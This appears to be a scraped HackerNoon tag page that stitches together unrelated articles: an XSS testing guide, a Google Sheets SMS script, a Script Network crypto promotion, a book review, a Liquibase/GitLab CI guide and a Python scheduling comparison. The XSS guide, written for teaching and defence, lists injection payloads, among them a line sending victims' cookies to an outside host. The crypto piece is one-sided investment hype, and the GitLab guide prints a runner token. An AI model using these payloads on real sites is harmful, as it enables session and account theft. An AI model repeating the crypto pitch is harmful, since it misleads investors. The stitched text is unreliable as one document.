According to statistics I’ve seen and my experience, XSS vulnerabilities continue to be a prevalent threat to web applications, posing risks of data theft, session hijacking, and website issues. I decided that I could spend more time researching this vulnerability type and share with you at least this overview-like basic knowledge so many QA and dev experts may keep in mind some ways to test their apps against this issue. This article explores different types of XSS, testing methodologies, and automation approaches and provides some examples and payloads for effective penetration testing. allows attackers to inject malicious scripts into web pages viewed by other users, exploiting vulnerabilities in client-side code execution. Understanding the different types of XSS vulnerabilities and using proper testing strategies are crucial to building secure web apps protected against such attacks. Cross-site scripting (XSS) XSS exploits occur when untrusted user input is inadequately sanitized and executed within a web application, enabling attackers to inject and execute malicious scripts in the context of other users' browsers. Types of XSS Vulnerabilities Reflected XSS Occurs when user-supplied data is echoed back in the response without proper validation. injected through a URL parameter. Example: <script>alert('XSS_DEMO')</script> These exploits occur when a web application reflects unvalidated user input to the user's browser without proper sanitization. In this attack, the attacker crafts a malicious URL containing script code, which, when clicked by the victim, is executed within the context of the vulnerable web page. The malicious script is not stored on the server but is instead reflected directly from the user's input. Reflected XSS vulnerabilities are often leveraged in phishing attacks or to manipulate the user's browsing experience. The impact can be severe, ranging from cookie theft to session hijacking. Stored XSS Malicious script is permanently stored on the server and executed when accessed by other users. Malicious script stored in a comment/post on a forum post or social network profile page. Example: Also known as persistent XSS, arises when an attacker injects malicious script code into a web application, which is then stored on the server side. This injected script is later retrieved and executed whenever the vulnerable page is accessed by other users. Stored XSS attacks are particularly dangerous as the injected script persists over time, potentially affecting multiple users and leading to widespread exploitation. Attackers commonly target user-generated content such as comments, forum posts, entities names which are displayed on web pages or profile fields to execute their malicious payloads. The consequences of stored XSS can include data theft, account takeover, and website defacement, posing significant risks to both users and the affected organization. DOM-based XSS Script execution relies on the manipulation of the DOM on the client side. JS code retrieves and executes user-controlled data from the URL hash. Example: It occurs when a web application dynamically manipulates the DOM based on untrusted user input in an unsafe manner. Unlike traditional XSS attacks, which involve server-side processing, DOM-based XSS manifests entirely on the client side. Attackers exploit DOM-based XSS by manipulating client-side scripts to execute arbitrary code within the victim's browser. This type of XSS is often harder to detect and mitigate, as the vulnerability resides within the client-side code and may not be evident during server-side testing. DOM-based XSS attacks can lead to various consequences, including session hijacking, data exfiltration, and unauthorized actions on behalf of the user, highlighting the importance of client-side security measures and vigilant web app development practices. Self-XSS It is a social engineering attack where an attacker tricks a user into executing malicious code within their browser. Unlike traditional XSS attacks that target multiple users, Self-XSS exploits the user's trust to execute code within their session. Typically, attackers lure victims into pasting seemingly innocent-looking JS code into their browser's developer console or some fields of a website under the guise of a harmless action, such as unlocking a feature or earning rewards. Once executed, the injected code can potentially compromise the victim's account, steal sensitive information, or perform unauthorized actions on their behalf. Despite being limited to the victim's session, Self-XSS remains a threat, emphasizing the importance of user education and awareness to recognize and avoid such deceptive tactics. Testing Automation Use security testing tools such as OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix, etc for automated scans for XSS. Configure tools to crawl the application, identify input vectors, and inject payloads to detect XSS vulnerabilities. Analyze scan results for identified vulnerabilities, reproduce them manually, create PoC, understand the potential impact, and prioritize fixing issues. You can write some scripts; I prefer Python, for example: import requests

def test_xss(url, parameter):
    payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert(1)>",
        # list of your payloads
    ]
    
    for payload in payloads:
        modified_url = f'{url}?{parameter}={payload}'
        response = requests.get(modified_url)
        if payload in response.text:
            print(f'Potential XSS detected here - {modified_url}')

# example
test_xss("https://testwebsite.com/search", "query_param_name") Manual Testing Identify input vectors susceptible to XSS injection (e.g., input fields, URL params). You can use crawlers and sniffers to identify vectors more efficiently. Craft payloads to exploit XSS vulnerabilities (e.g., script tags, event handlers). Analyze responses to determine if payloads are reflected or executed. Create PoC, understand the potential impact, and prioritize issues fixing. Steps: Enter a script tag, followed by some JS code, into the input fields of your app. For example, basic XSS payloads: <script>alert('XSS');</script>

(%0ejavascript:alert(/XSS/))

<script>alert('XSS')</script>
// Display alert dialog with 'XSS' message.

<img src=x onerror=alert(((123)>
// Load broken image, trigger alert with '123'.

// Cookie Theft Payload:
<img src="http://website.com/stealcookie?cookie="+document.cookie>
// Sends victim's cookies to attacker-controlled server.

// DOM-based XSS Payload:
#"><img src=x onerror=alert(123)>
// Exploits DOM manipulation, triggers alert on vulnerable pages. Submit the input and see if the script executes. If it does, then the application is vulnerable to XSS attacks. If the script doesn't execute, try modifying the input by adding other HTML tags, such as or and see if they are reflected on the page, (this one almost always works for me): <img> <iframe> , for example <b>t</b>#`"/*—est You can add a script to query params of your web app URL or a user name, , or any text that will be displayed on the app page that you can change. uploaded file names Be aware of front-end validations of inputs. Always try to submit the value using a direct request (using Postman, Burp, or any similar tools). Check the browser console in dev tools because sometimes you may not see any visible changes on the page, but some symbols, e.g. may break the page’s JS/HTML, and you’ll see a warning in the console that could be a hint for you on how to modify your payload to get an XSS PoC `"/*— Use fuzzing and a list of payloads - automate this approach when possible or use special tools for it. Personally, I like using , it is a very useful resource, in my opinion. payloads and info from here Black-Box Testing Identifying input vectors vulnerable to XSS injection. Crafting and injecting XSS payloads to assess impact and identify vulnerable points. Gray-Box Testing Analyzing source code and sanitization procedures for potential XSS. Leveraging partial knowledge of the application for targeted testing. Exploiting XSS XSS PoC Demonstrates confirming XSS vulnerability by injecting payloads executing arbitrary JS. Utilizing alternative payloads like function for Chrome browsers post version 92. print() Advanced XSS Exploitation To steal cookies, perform session hijacking, or execute arbitrary code. To impersonate users, capture credentials, or deface web pages. Bypassing XSS Filters Evading common XSS filters through various techniques such as tag attribute value insertion, obfuscation, and HTTP Parameter Pollution (HPP). Example scenarios are showcasing bypassing filter mechanisms to execute XSS payloads successfully. Prevention Techniques Input Validation and Output Encoding Implement input validation mechanisms (FE and BE) to ensure that user-supplied data is okay with expected formats and does not contain malicious code. Sanitize and validate all user inputs on the server side before processing or storing them. Encode output data appropriately to prevent it from being interpreted as active content by the browser. Utilize encoding techniques such as HTML entity encoding, URL encoding, and JS escaping based on the context of the output data. Content Security Policy (CSP) Implement Content Security Policy (CSP) headers to define and enforce security policies regarding the execution of scripts, stylesheets, and other resources within the web application. CSP allows administrators to restrict the sources from which scripts can be loaded, mitigating the risk of XSS attacks by preventing the execution of unauthorized scripts. Configure CSP directives to specify trusted domains, inline script and style usage, and script nonces, effectively reducing the attack surface for XSS. Context-Specific Output Encoding Encode data based on the context in which the output data is being rendered. Apply different encoding methods for HTML, JS, CSS, and other contexts to ensure comprehensive protection against XSS. , use HTML entity encoding for HTML content, JavaScript escaping for inline script contexts, and CSS escaping for style attributes to prevent script injection and maintain data integrity across various output contexts. For example Input Whitelisting and Blacklisting Implement input whitelisting and blacklisting to filter and validate user inputs based on predefined allowlists and denylists of permitted and prohibited characters, patterns, or content types. Whitelisting involves explicitly defining the expected input formats and rejecting any inputs that do not conform to these specifications. identifies and blocks known malicious inputs or patterns, although it due to the potential for evasion through encoding or obfuscation techniques. Blacklisting may be less effective Security Headers and Sanitization Libraries Use security headers such as X-XSS-Protection, X-Content-Type-Options, and X-Frame-Options to improve web app security and prevent various attack vectors, including XSS. Integrate third-party sanitization libraries and frameworks into the development stack to automate input validation, output encoding, and other security-critical tasks. to address emerging threats and vulnerabilities effectively. Regularly update and maintain these libraries Secure Dev Practices and Security Awareness Promote secure development practices within the dev and QA teams, emphasizing the importance of writing secure code, conducting thorough code reviews, and performing security testing throughout the software development lifecycle. Foster a culture of security awareness among devs, QA engineers, and other stakeholders, encouraging continuous learning and knowledge sharing regarding XSS and other vulnerabilities, exploitation techniques, and preventive measures. Invest in ongoing training programs, courses, seminars, conferences, and resources to equip team members with the skills and expertise needed to identify, deal with, and prevent XSS effectively. XSS poses persistent threats to web apps, risking data breaches and user trust. Understanding XSS types and testing methods is crucial for effective mitigation. Prevention techniques such as input validation, output encoding, and CSP implementation improve app security. By prioritizing security practices and collaboration, teams can protect their apps against XSS and ensure adequate web app security. If you are a beginner and interested in cybersecurity and penetration testing or just want to improve your app to make it more secure, you can read my articles on these topics: https://hackernoon.com/vulnerability-scanners-essentials https://hackernoon.com/cybersecurity-essentials-practical-web-app-security-testing-tips-for-qa-engineers https://hackernoon.com/defending-your-web-app-a-guide-to-rate-limiting-and-brute-force-attack-prevention For more details about XSS and payloads, you can find the following resources: https://owasp.org/www-community/attacks/xss/ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45 A crucial reminder: Always conduct penetration testing with explicit permission and within a controlled environment. This ethical approach ensures that security assessments align with responsible testing protocols, preventing inadvertent compromises to systems and upholding the integrity of both the testing process and overarching cybersecurity strategy.

Cross-Site Scripting (XSS) Vulnerabilities: Testing Strategies and Examples

ক্রস-সাইট স্ক্রিপ্টিং (এক্সএসএস) দুর্বলতা: পরীক্ষার কৌশল এবং উদাহরণ

Cross-Site Scripting (XSS)-Schwachstellen: Teststrategien und Beispiele

Vulnerabilidades de secuencias de comandos entre sitios (XSS): estrategias de prueba y ejemplos

Vulnérabilités de Cross-Site Scripting (XSS) : stratégies de test et exemples

क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरियाँ: परीक्षण रणनीतियाँ और उदाहरण

クロスサイト スクリプティング (XSS) の脆弱性: テスト戦略と例

XSS(교차 사이트 스크립팅) 취약점: 테스트 전략 및 예

Vulnerabilidades de Cross-Site Scripting (XSS): estratégias de teste e exemplos

Уязвимости межсайтового скриптинга (XSS): стратегии и примеры тестирования

Siteler Arası Komut Dosyası Çalıştırma (XSS) Güvenlik Açıkları: Test Stratejileri ve Örnekler

Lỗ hổng Cross-Site Scripting (XSS): Chiến lược và ví dụ thử nghiệm

跨站脚本 (XSS) 漏洞：测试策略和示例

Our Problem Statement: A requirement to send a text message in the form of an SMS message to a patient when there is an entry for an appointment scheduled for them and logged into the Google Sheets. Sample data: Step 1: Add a button in the Google sheet Insert -> Drawing Step 2: Create a custom function that can be triggered by clicking on the button. Extensions -> Apps Script Step 3: Code to send SMS for appointments function myFunction() { var sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('appoinments'); ja // 2 dimentional array for sheets data var data = sheet.getDataRange().getValues(); var timeZone = Session.getScriptTimeZone() for (var i = 1; i < data.length; i++) { // condition to send message to whome we have not already sent message and first column is not blank if (data[i][4] != "done" && data[i][0] != "") { var date = Utilities.formatDate(data[i][2], timeZone, 'dd-MM-yyyy') var time = Utilities.formatDate(data[i][3], timeZone, 'h:mm a') var name = data[i][0] var phonenumber = data[i][1] Logger.log("date: "+date) Logger.log("time: "+time) Logger.log("name: "+ name) Logger.log("phonenumber: "+phonenumber) // API to send SMS(Any provider) // Hit api to send sms // var url = `Put your sms provider url here` // var response = UrlFetchApp.fetch(url); // var json = response.getContentText(); // set status to done, so we dont send messages again for same appoinments sheet.getRange(i + 1, 5).setValue('done') } } } Step 4: Run and give permissions. Click on Advance on the bottom left: Click on, “Go to the untitled project.” Click on allow: We can see logs as expected: Now, we can see the status column set to “done.” Step: Attach the function to the button. Click on the button > assign a script > write the name of the function that we just made. Now, add new appointments to the sheet, and keep the appointment status blank. When we click on the send message button, an SMS will be sent, and the status will be updated in the sheet. Share this with anybody you think would benefit from this. Have any suggestions or questions? Feel free to message me on . LinkedIn Originally Written by Riddhesh Ganatra on Medium.com

How to Use App Scripts to Automate in Google Sheets

In the ever-evolving landscape of cryptocurrencies, Script Network ($SCPT) emerges as a disruptive force poised to redefine decentralized entertainment. As we delve into the horizon, our focus turns to a comparative analysis of three noteworthy projects—$RNDR, $THETA, and $GALA—each boasting unique features. However, Script Network's holistic approach positions it as a potential frontrunner in the altcoin race, with 2024 potentially being its breakthrough year. crypto The Render Network ($RNDR): Decentralized Rendering's Visionary Leap At the intersection of blockchain and creative industries, $RNDR, the Render Token, envisions decentralized rendering services transforming how 3D content creators leverage computing power. Yet, challenges loom, particularly scalability concerns and the need for widespread adoption of decentralized rendering technologies. Theta Network ($THETA): Blockchain's Video Revolution Heralded as the "YouTube on the Blockchain," Theta Network aims to revolutionize video streaming by building a decentralized content delivery network (CDN). Despite notable traction and partnerships, Theta's success hinges on the widespread adoption of decentralized video streaming. Gala ($GALA): Gaming's Decentralized Future In blockchain gaming, $GALA takes center stage, decentralizing the gaming ecosystem and empowering players and developers. However, stiff competition in the gaming token space poses challenges to its quest for widespread adoption. Script Network (SCPT): Decentralized Entertainment's Holistic Ecosystem Now, turning our attention to Script Network (SCPT), it introduces a comprehensive ecosystem with Script TV at its core. This watch-to-earn live TV platform reshapes how content is consumed and revolutionizes video advertising in the crypto industry. Script Network stands out with its watch-to-earn functionality, decentralized advertising, gamified rewards, and a fully decentralized video storage solution. Unlike its counterparts, Script Network doesn't focus solely on one aspect of the crypto space; it presents a holistic approach to decentralized entertainment. Why Script Network Could Lead the Pack Script Network's potential to surpass $RNDR, $THETA, and $GALA lies in its diversified approach. It offers a seamless ecosystem spanning watch-to-earn, decentralized advertising, gamified rewards, and video storage solutions. This diversity in revenue streams enhances Script Network's foundation, showcasing a robust model for sustainable growth. With over 150,000 lines of code in its video delivery network, global studio partnerships, and tier-1 licensed ads, Script Network has gained significant traction in the market. Seizing the Moment: Script Network Launch on KuCoin and MEXC As Script Network prepares for its launch on KuCoin and MEXC on December 20, 2023, the crypto community anticipates new heights for the project. This strategic move is expected to boost liquidity and expand Script Network's reach to a broader audience. Investors seeking to position themselves at the forefront of decentralized entertainment and advertising are encouraged to explore the potential within Script Network. Conclusion: A Transformative Force in Crypto In conclusion, Script Network is not just another altcoin; it's a transformative force amalgamating various facets of the crypto space into a seamless ecosystem. Trends indicate that its holistic approach could propel it to surpass $RNDR, $THETA, and $GALA, establishing itself as a frontrunner in the crypto arena. The impending launch on KuCoin and MEXC marks a pivotal moment; don't miss your chance to be part of the Script Network revolution. For more information on Script Network, visit: - Website: https://www.script.tv - Twitter: https://twitter.com/script_network - Telegram: https://t.me/scriptnetworkann

Script Network (SCPT): A Holistic Revolution in Decentralized Entertainment

স্ক্রিপ্ট নেটওয়ার্ক (SCPT): বিকেন্দ্রীভূত বিনোদনে একটি সর্বজনীন বিপ্লব

Script Network (SCPT): Eine ganzheitliche Revolution in der dezentralen Unterhaltung

Script Network (SCPT): una revolución holística en el entretenimiento descentralizado

Script Network (SCPT) : une révolution holistique dans le divertissement décentralisé

स्क्रिप्ट नेटवर्क (एससीपीटी): विकेंद्रीकृत मनोरंजन में एक समग्र क्रांति

スクリプト ネットワーク (SCPT): 分散型エンターテイメントにおける全体的な革命

스크립트 네트워크(SCPT): 분산형 엔터테인먼트의 전체적인 혁명

Script Network (SCPT): uma revolução holística no entretenimento descentralizado

Script Network (SCPT): целостная революция в децентрализованных развлечениях

Script Ağı (SCPT): Merkezi Olmayan Eğlencede Bütünsel Bir Devrim

Script Network (SCPT): Một cuộc cách mạng toàn diện trong giải trí phi tập trung

Script Network（SCPT）：去中心化娱乐的全面革命

Hello, fellow knowledge seekers! My name is and today I want to talk about a book that changed the way I think, so therefore it changed my life. Alex Cloudstar Are you ready to shake up your learning game and take on the world of ultralearning? Strap in for an exhilarating ride through Scott H. Young's mind-bending book on turbocharged learning. Word on the street is that our fellow learner here highly recommends this gem of a book. So, let's dive into these ultralearning principles while sprinkling in some quirky humor along the way. Picture this: a modern-day learning wizard whose experiments with intense learning projects have turned heads and flipped textbooks. That's Scott H. Young for you! He’s the guru behind "Ultralearning," and trust me, his ideas pack a punch! Get ready to harness the power of ultralearning and revolutionize how you tackle new skills. Principle 1: Metalearning Ever felt like 90% of your learning time goes into choosing what to learn? Scott's got you covered. His secret sauce? Devote  5-10% to research, saving the rest for diving deep into those instrumental (work-related) or intrinsic (nerd-worthy) learning projects. Principle 2: Focus We’ve all been there—trying to learn calculus while battling the distractions of a buzzing phone or that lurking YouTube playlist. Scott's advice? Identify your foes, those pesky distractions, and wrangle your wandering mind back on track. Your calculus nemesis won't stand a chance. Principle 3: Directness It's like method acting for learning! Scott’s tip? Immerse yourself in an environment mirroring the real-world application of your skill. Learning French? Move to Paris! Or at least pretend you did. Grab a beret and a baguette—bonjour, ultralearning! Principle 4: Drill Scott’s got more drills than a fitness instructor! Dive deep into your weaknesses, like a ninja training montage, with time slicing, component focusing, and the elusive Magnifying Glass Method. Channel your inner learning warrior. Principle 5: Retrieval - Test to Learn Scott's recipe for knowledge retention? It’s a feast of tests, flashcards, and free recall. Transforming notes into questions? It’s like turning bland veggies into spicy trivia nuggets! The more, the merrier! Principle 6: Feedback Feedback, ahoy! Scott urges you to seek out critics who’ll tell you what’s wrong without necessarily giving you a how-to-fix-it manual. It’s like getting roasted at a comedy club, but hey, it’s for your learning. Principle 7: Retention Picture this: spacing out learning sessions like spaced-out astronauts in a space station. That’s the secret to retention! Over-learning like a math wizard? Scott’s got you covered—conquer addition before you even think about division. Principle 8: Intuition Ah, the mystical world of intuition… Scott’s guide here? Don’t give up on those brain-bending problems too soon. Explain complex concepts like you're telling a bedtime story—simple, yet captivating. Principle 9: Experimentation Break free from the chains of conventional learning! Scott’s mantra? Experiment, experiment, experiment! Mix and match learning hours, courses, and tools like a mad scientist concocting the perfect potion for genius-level learning. Embracing Ultralearning: A Personal Project And now, for the pièce de résistance—a personal ultralearning project! Our valiant learner here is taking on algorithms. Yes, those perplexing puzzles that make even Sherlock Holmes scratch his head. But fear not! Armed with Scott’s quirky wisdom, our learner's set to crack these algorithmic codes like a secret agent on a mission. Lifelong learning just got a turbo boost. "Ultralearning" is the roadmap to your learning superhero transformation. So, whether you're diving into algorithms, languages, or becoming a master chef, buckle up and embrace these principles. It’s time to unleash your inner learning superhero and conquer the world, one skill at a time! Also published here.

How a Book Rewrote the Script of My Life

The Noonification: Simple Database Migration Scripts On Your CI/CD step (10/16/2023)

I've seen a lot of outstanding, high-level work in several of the submissions to the . However, few individuals consider how to keep the database up to date on common standbys (dev, stage, prod, etc.) while working every day. This article is intended for novice developers. I used Spring as an example to demonstrate a simple technique for introducing a database migration system into the CI/CD process. DevOps Writing Contest We will require Liquibase and GitLab CI/CD tools for this deployment. Assume for the moment that a database is up and running. I will be using PostgreSQL. GitLab CI/CD If you already have GitLab deployed, you can skip this step entirely. To deploy Gitlab, we will use the Docker method. It is important to note that we need to create the variable. $GITLAB_HOME sudo docker run --detach \
  --hostname gitlab.devopscontest.com \
  --publish 443:443 --publish 80:80 --publish 22:22 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  --shm-size 256m \
  gitlab/gitlab-ee:16.4.1-ee.0 The next step is to install and configure runners. If you already have a long-running project and everything has been set up for a long time, you can skip creating a new runner. I'll be showing the creation of a runner using version 16.4.1 as an example. goes to registration using , but the approach is close to the current one. Anything after 17.0 RUNNER_AUTHENTICATION_TOKEN First, you need to install the runner source. In order to install it via bash on your deployed GitLab, this example helps how you can install runner for Apple Silicon-based systems (other OS you can find here): https://docs.gitlab.com/runner/install/?embedable=true # Download the binary for your system
sudo curl -L --output /usr/local/bin/gitlab-runner https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-linux-amd64

# Give it permission to execute
sudo chmod +x /usr/local/bin/gitlab-runner

# Create a GitLab Runner user
sudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash

# Install and run as a service
sudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner
sudo gitlab-runner start Now we can create the runner itself through the UI by clicking the button. New project runner Each runner can have a platform, tags that appear in blue, and other runtime configurations. When we need to set the possibility of running commands from the program, tags come in handy. For the time being, we are uninterested in everything else. After clicking , the only thing left to do is to register your runner. Create runner # Command to register runner
gitlab-runner register --url https://gitlab.devopscontest.com/ --registration-token glrt-bjyfCR5pM5wypQDdfSqU Liquibase is a free and open-source platform for managing database migrations. In summary, Liquibase allows you to describe rollup and rollback procedures using changset files. The scripts themselves can be conventional SQL commands as well as database-independent descriptions of modifications that will be turned into a script tailored to your database. The list of . Liquibase supported databases is available here I will show you a way to perform migrations in a Spring application. This is necessary so that you can control the execution of all change sets as a separate step. Project To quickly develop a Spring application, . go here Let's now quickly create Particular attention should be paid to the enabled and change-log options. The first option enables and disables Liquibase at the application level, while the second sets the path to the changelog. application.yml. server:
  port: 80

spring:
  datasource:
    username: ${DB_USERNAME}
    password: ${DB_PASSWORD}
    url: ${DB_HOST}
  liquibase:
    enabled: true
    change-log: classpath:db/changelog/db.changelog-master.xml What to do with the variables? It is good practice to put them into GitLab, which will help to flexibly customize the application between dev/prod stands. We use Kubernetes in our project, and these parameters must be set by the teams themselves when constructing the application using value files that are preconfigured for various schemes env:
  - name: SPRING_PROFILES_ACTIVE
    value: "dev"
  - name: DB_HOST
    value: "jdbc:postgresql://127.0.0.1:5436/your_db"
  - name: DB_USERNAME
    value: "user"
  - name: DB_PASSWORD
    value: "pass" Let's go back to customization. Creating completely self-sufficient apps that are prepared for deployment right away is, in my opinion, a smart practice. In order to further build a distinct stage in CI/CD, let's construct a migrate file. We can use different tools for different teams, and we are not restricted to the migration system with this file. #!/bin/sh

cd /opt/app

/opt/app/liquibase \
    --changeLogFile=./db/changelog/changelog-master.xml \
    --url="$DB_HOST" \
    --username="$DB_USERNAME" \
    --password="$DB_PASSWORD" \
    --logLevel=info \
    --headless=true \
    update All possible commands can be found in the . Now we only need , which allows us to update to the current version from the changelog-master.xml file. Liquibase documentation update The next step is to create a.gitlab-ci.yml file at the project root that contains instructions on how to proceed with the CI/CD process. Firstly, I would want to draw for the file, which can be found in the project at the relative path . Before fluffing the configuration, I suggest using it. It's also assumed that you know how to work with YAML files. attention to the built-in linker gitlab-ci.yml ci/lint Stages and jobs stages:
  - publish
  - dev

.migrate:
  stage: publish
  allow_failure: true
  script:
    - ./migrate.sh

Migrate:
  tags:
    - migration
  extends: .migrate
  environment:
    name: dev The tag instructs our previously generated runner to react to this task and run scripts in the section. The string identifies the stage to which this job belongs.  If necessary, the same runner can work on several projects at once.  The environment block refers to the . This is a type of dashboard where you can view the status of your stands (dev, pre-prod, prod, etc.) and take actions like manual deploys. Additionally, environment-bound variables can be configured; however, I haven't had a chance to test this premium feature. migration script stage environment Rejection of measures with errors You can stop the corresponding merging in case something goes wrong with the deployment procedure. In particular, this is helpful if tests are integrated into CI/CD as an independent phase. Although Liquibase does not have tests in our example, it can malfunction if incorrect file paths are entered, for instance. All merges will not be permitted if the checkbox is not ticked after configuring CI/CD. Final touches Let's create a migration file and enable it. To do this we need to create the file as an input point. changelog-master.xml It is good practice to have multiple changelog.xml for more flexible management. You can build a changelog hierarchy from them. However, in our example we will use a simpler way. <?xml version="1.1" encoding="UTF-8" standalone="no"?>
<databaseChangeLog xmlns="http://www.liquibase.org/xml/ns/dbchangelog" xmlns:ext="http://www.liquibase.org/xml/ns/dbchangelog-ext" xmlns:pro="http://www.liquibase.org/xml/ns/pro" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog-ext http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-ext.xsd http://www.liquibase.org/xml/ns/pro http://www.liquibase.org/xml/ns/pro/liquibase-pro-4.1.xsd http://www.liquibase.org/xml/ns/dbchangelog http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-4.1.xsd">
    <include file="db/changelog/changeset-202310151300-create-table.sql"/>
</databaseChangeLog> It is a good practice to name migrations using date and time. This will avoid breaking the sorting of migrations when a large development team is working at the same time. --liquibase formatted sql

--changeset a.tyryshkin:create-table
create table if not exists table
(
    id     bigserial primary key,
    name   varchar(255)
);

create sequence if not exists table_id_seq; You can use different XML, YAML, or JSON formats to describe migrations, but SQL is the easiest to read for my taste. We try to execute and everything is successful. Check our database and see the entry in databasechangelog. Conclusion In this article, we discussed how to deploy GitLab yourself, download and configure runners, and, most significantly, integrate a database migration system into your CI/CD process. I hope this guide will assist you in putting this guide into action.

Simple Database Migration Scripts On Your CI/CD step

আপনার CI/CD ধাপে সাধারণ ডাটাবেস মাইগ্রেশন স্ক্রিপ্ট

Einfache Datenbankmigrationsskripte auf Ihrem CI/CD-Schritt

Scripts simples de migración de bases de datos en su paso CI/CD

Scripts de migration de base de données simples sur votre étape CI/CD

आपके सीआई/सीडी चरण पर सरल डेटाबेस माइग्रेशन स्क्रिप्ट

CI/CD ステップでの簡単なデータベース移行スクリプト

CI/CD 단계의 간단한 데이터베이스 마이그레이션 스크립트

Scripts simples de migração de banco de dados na etapa CI/CD

Простые сценарии миграции базы данных на этапе CI/CD

CI/CD adımınızda Basit Veritabanı Geçiş Komut Dosyaları

Tập lệnh di chuyển cơ sở dữ liệu đơn giản ở bước CI/CD của bạn

CI/CD 步骤中的简单数据库迁移脚本

This article focuses on pitfalls, solutions, and my findings with regard to scheduling Python scripts. : periodically, you have to execute updating s using ORM models from your codebase with intermediate processing. For example, you want to detect inactive users by side factors like actions they've taken or not taken within a certain time frame once per day and mark them as inactive. This scenario often occurs in data-driven applications where you need to maintain the integrity and accuracy of your data. Imagine the following case SQL every Monday at 10 AM your script must send internal reports on to every manager about their employees' non-compliant Key Performance Indicators. This scenario is a common requirement in organizations striving to monitor and improve performance across various teams and departments. Or, a different case: Slack What could go wrong with scheduling Python scripts? Async code If your codebase contains asynchronous parts that you'd like to reuse, you need to consider async support. I wouldn't recommend relying solely on the standard approach because you'll forfeit the advantages of asynchrony, and your code will operate like regular synchronous code. asyncio.run If you have more than one job, you'll have to deal with parallel job execution. However, a common issue that arises is time shifting, as the scheduler may need to wait until one job finishes before it can move on to the next. This can potentially lead to delays in executions, especially when jobs have varying runtimes or when you have many jobs. Concurrent execution There are different ways to start jobs, like using separate Python threads, individual processes, or event loops. The choice of initiation method can have a significant impact on CPU and memory utilization when you have a whole lot of jobs. Resource leakage Inability to be resistant to reboots without affecting job intervals. In other words, after reboot, you get a time shift because of interrupting clocking. For example, you have a job whose interval is 3 hours. After 2 hours of clocking the CI/CD pipeline rebuilt the image and recreated the container to update the code because you pushed new commits. If the scheduler starts clocking right from the start, you'll get 2 hours of clocking before the reboot, and 3 after. So, in this case, the interval between executions is 5 hours and you have a significant time shift. Sometimes it might be critical. Restart intolerance If the execution time of a job is more than an interval between executions or it varies, you may easily get a situation when the scheduler starts new executions of the job before the previous execution ends. It leads to job multiplication, resource leakage, and even a critical system shutdown due to overload. This case must be considered if you have short intervals or long-running jobs. Duplicate parallel executions If you have a need to execute jobs at different times by different time zones on different days, it might be tricky to configure. For example, one job must be executed at 11 AM by New York on Monday only, a different one at 5 PM by Berlin on weekends, and the last one every 3 hours starting by Tokio on Friday only. Localization So, a lot could go wrong:) Solutions Let's look at possible ways to overcome pitfalls in order of their effectiveness. Schedule Python lib is the most basic scheduler for Python and the first one that you'll find if start googling. It looks interesting, but the main disadvantage of this lib is that it's not really designed to be used somewhere. Schedule According to the official documentation: You should probably look somewhere else if you need: Job persistence (remember schedule between restarts) Exact timing (sub-second precision execution) Concurrent execution (multiple threads) Localization (workdays or holidays) Schedule does not account for the time it takes for the job function to execute. Anyway, let's look at an example, pros and cons for further comparison. import schedule
import time

def job():
    print("I'm working...")

schedule.every().day.at("10:30").do(job)

while True:
    schedule.run_pending()
    time.sleep(1) Pros Simple Cons No async code support No concurrent execution Restart intolerance No localization Cron Unix utility is the most popular general-purpose scheduler in the world. This scheduler is universal and starts jobs as a shell command. Take note that Cron starts a separate process for every job and this may take a lot of system resources. Cron Here you need a file: crontab # m h dom mon dow user  command
*/30 * * * *      /usr/local/bin/python /path/to/the/script.py >> /var/log/cron.log 2>&1 In turn, the script can contain whatever your heart desires: if __name__ == "__main__":
    print("Whatever your heart desires") Pros Concurrent execution Versatility Cons No async code support Resource leakage Restart intolerance Duplicate parallel executions No localization Regta Python utility is a scheduling tool designed with these pitfalls in mind especially for . The key advantage is that it has async, multithreading, and multiprocessing support just like restart tolerance. Regta Python from regta import async_job, Period

@async_job(Period().on.sunday.at("18:35").by("Asia/Almaty"))
async def my_async_job():
    pass  # Do some stuff here To run it use command. regta run Pros Async code support Concurrent execution Restart tolerance Localization Cons No strong community Summary When it comes to scheduling Python programs, the first option, Schedule, may not be the most suitable choice for solving real-world problems. Instead, consider the following points: For internal automation tasks that involve various programming languages and CLI tools, stands as a robust choice. Cron If your automation needs are focused on Python exclusively, emerges as a compelling option, offering a wealth of Python-specific optimizations. Give it a try, and feel free to share your thoughts in the comments 🙌 Regta Also published here.

Mastering Python Script Scheduling: Pitfalls and Solutions

Stories, News & Mentions about SKRIPT

Skript’s Stories on HackerNoon